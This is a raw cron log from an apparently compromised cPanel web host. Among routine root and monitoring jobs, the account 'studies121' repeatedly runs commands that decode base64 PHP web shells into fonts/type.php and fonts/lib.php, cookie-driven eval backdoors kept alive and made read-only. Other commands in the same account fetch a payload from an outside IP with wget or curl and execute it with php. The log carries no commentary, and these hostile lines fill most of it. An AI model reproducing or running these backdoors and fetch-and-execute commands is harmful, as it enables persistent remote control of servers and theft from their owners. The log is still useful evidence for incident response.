Sep  3 16:01:01 ip-184-168-122-23 CROND[30229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:01:01 ip-184-168-122-23 CROND[30233]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:01:01 ip-184-168-122-23 CROND[30234]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 16:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[30234]: starting 0anacron
Sep  3 16:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[30249]: finished 0anacron
Sep  3 16:02:01 ip-184-168-122-23 CROND[30321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:02:01 ip-184-168-122-23 CROND[30320]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:02:01 ip-184-168-122-23 CROND[30322]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:02:01 ip-184-168-122-23 CROND[30323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:02:01 ip-184-168-122-23 CROND[30324]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 16:03:01 ip-184-168-122-23 CROND[30411]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:03:01 ip-184-168-122-23 CROND[30412]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:03:01 ip-184-168-122-23 CROND[30413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:03:01 ip-184-168-122-23 CROND[30414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:04:01 ip-184-168-122-23 CROND[30590]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:04:01 ip-184-168-122-23 CROND[30592]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 16:04:01 ip-184-168-122-23 CROND[30593]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:04:01 ip-184-168-122-23 CROND[30594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:04:01 ip-184-168-122-23 CROND[30595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:05:01 ip-184-168-122-23 CROND[30714]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 16:05:01 ip-184-168-122-23 CROND[30716]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:05:01 ip-184-168-122-23 CROND[30718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:05:01 ip-184-168-122-23 CROND[30720]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 16:05:01 ip-184-168-122-23 CROND[30721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:05:01 ip-184-168-122-23 CROND[30722]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 16:05:01 ip-184-168-122-23 CROND[30719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:06:01 ip-184-168-122-23 CROND[30831]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:06:01 ip-184-168-122-23 CROND[30832]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 16:06:01 ip-184-168-122-23 CROND[30834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:06:01 ip-184-168-122-23 CROND[30835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:06:01 ip-184-168-122-23 CROND[30836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:07:01 ip-184-168-122-23 CROND[30931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:07:01 ip-184-168-122-23 CROND[30932]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:07:01 ip-184-168-122-23 CROND[30933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:07:01 ip-184-168-122-23 CROND[30935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:08:01 ip-184-168-122-23 CROND[31030]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:08:01 ip-184-168-122-23 CROND[31032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:08:01 ip-184-168-122-23 CROND[31031]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 16:08:01 ip-184-168-122-23 CROND[31033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:08:01 ip-184-168-122-23 CROND[31034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:09:01 ip-184-168-122-23 CROND[31116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:09:01 ip-184-168-122-23 CROND[31117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:09:01 ip-184-168-122-23 CROND[31121]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:09:01 ip-184-168-122-23 CROND[31125]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 16:09:01 ip-184-168-122-23 CROND[31124]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:10:01 ip-184-168-122-23 CROND[31248]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 16:10:01 ip-184-168-122-23 CROND[31252]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:10:01 ip-184-168-122-23 CROND[31255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:10:01 ip-184-168-122-23 CROND[31259]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 16:10:01 ip-184-168-122-23 CROND[31264]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 16:10:01 ip-184-168-122-23 CROND[31266]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 16:10:01 ip-184-168-122-23 CROND[31265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:10:01 ip-184-168-122-23 CROND[31269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:11:01 ip-184-168-122-23 CROND[31439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:11:01 ip-184-168-122-23 CROND[31437]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:11:01 ip-184-168-122-23 CROND[31438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:11:01 ip-184-168-122-23 CROND[31440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:12:01 ip-184-168-122-23 CROND[31529]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:12:02 ip-184-168-122-23 CROND[31531]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:12:02 ip-184-168-122-23 CROND[31532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:12:02 ip-184-168-122-23 CROND[31535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:12:02 ip-184-168-122-23 CROND[31536]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 16:13:01 ip-184-168-122-23 CROND[31615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:13:01 ip-184-168-122-23 CROND[31618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
